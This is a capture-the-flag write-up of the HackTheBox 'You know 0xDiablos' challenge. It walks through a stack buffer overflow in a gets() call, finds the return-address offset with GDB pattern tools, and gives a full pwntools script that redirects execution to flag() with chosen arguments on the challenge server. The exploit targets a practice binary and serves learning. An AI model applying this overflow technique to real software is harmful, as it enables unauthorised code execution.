Post

You know 0xDiablos

You know 0xDiablos

Interacting with the Server

1
2
3
4
└─$ nc 94.237.50.221 30131
You know who are 0xDiablos: 
yes
yes

The server just returns our string.

This looked like a buffer overflow path. I downloaded the files and started disassembling it.

vuln function

In int main() we see a call to vuln function that is:

1
2
3
4
5
6
7
8
9
void vuln(void)

{
  char local_bc [180];
  
  gets(local_bc);
  puts(local_bc);
  return;
}
  • gets() reads input without bounds checking, meaning it keeps reading until it hits a newline.
  • If the input is larger than the destination buffer, it causes a buffer overflow.

We can see the buffer is 180 character long.

We also have a flag() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void flag(int param_1,int param_2)

{
  char local_50 [64];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 != (FILE *)0x0) {
    fgets(local_50,0x40,local_10);
    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
      printf(local_50);
    }
    return;
  }
  puts("Hurry up and try in on server side.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

What to do

Confirm the parameter values the flag() function expects

The flag() function is looking for exactly these two 32-bit arguments:

  • 1st argument: 0xdeadbeef
  • 2nd argument: 0xc0ded00d

Identify the overflow offset

GDB + cyclic pattern showed that the saved return address starts 188 bytes into the buffer.

Build the new payload

Layout on the stack (32-bit):

1
2
3
4
5
[188 bytes]  filler (junk)                <-- fills buffer + saved EBP
[4 bytes]    overwritten RET → flag()      <-- where EIP will jump
[4 bytes]    fake return address (dummy)   <-- where EIP will jump after flag() returns
[4 bytes]    0xdeadbeef                   <-- 1st argument
[4 bytes]    0xc0ded00d                   <-- 2nd argument

Total length: 188 + 4 + 4 + 4 + 4 = 204 bytes

Let’s find the address of flag() function:

Find Address of flag()

1
2
objdump -d vuln | grep '<flag>'
080491e2 <flag>:

Find offset of EIP

Since EIP is what we will execute next, we will attach gdb and observe how it works:

  1. Start by creating a pattern of 200 bytes: pattern create 200 save it to patterns.txt
  2. Run the binary with the pattern: run < patterns.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xc9      
$ebx   : 0x62616175 ("uaab"?)
$ecx   : 0xf7f9c8e0  →  0x00000000
$edx   : 0x0       
$esp   : 0xffffce80  →  "xaabyaab"
$ebp   : 0x62616176 ("vaab"?)
$esi   : 0x08049330  →  <__libc_csu_init+0000> push ebp
$edi   : 0xf7ffcb60  →  0x00000000
$eip   : 0x62616177 ("waab"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce80│+0x0000: "xaabyaab"$esp
0xffffce84│+0x0004: "yaab"
0xffffce88│+0x0008: 0x00000000
0xffffce8c│+0x000c: 0x000003e8
0xffffce90│+0x0010: 0xffffceb0  →  0x00000001
0xffffce94│+0x0014: 0xf7f9ae14  →  0x00232d0c ("
                                                -#"?)
0xffffce98│+0x0018: 0x00000000
0xffffce9c│+0x001c: 0xf7d8ccc3  →   add esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
  1. Identify what EIP becomes: info eip register
1
2
gef➤  info registers eip
eip            0x62616177          0x62616177

EIP contains 0x62616177 which should be the 188th byte of our payload. Next 4 bytes overwrite the saved returned address (we inject flag() function address here). Following 12 bytes (fake return address + 2 arguments) are placed on the stack exactly as shown in the previous exploit template.

We could use pattern offset to learn the exact offset as well:

1
2
3
gef➤  pattern offset 0x62616177
[+] Searching for '77616162'/'62616177' with period=4
[+] Found at offset 188 (little-endian search) likely

Time to craft the payload.

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat payload.py 
from pwn import *

flag_addr = 0x080491e2

payload = b'A' * 188
payload += p32(flag_addr)
payload += p32(0x42424242)
payload += p32(0xdeadbeef)
payload += p32(0xc0ded00d)

p = remote('94.237.50.221', 40088)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
python3 payload.py 
[+] Opening connection to 94.237.50.221 on port 40088: Done
[*] Switching to interactive mode
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x91\x04\x08BB\xd0\xde\xc0
HTB{xxxx}[*] Got EOF while reading in interactive
$ exit
$ 
[*] Closed connection to 94.237.50.221 port 40088
[*] Got EOF while sending in interactive

This post is licensed under CC BY 4.0 by the author.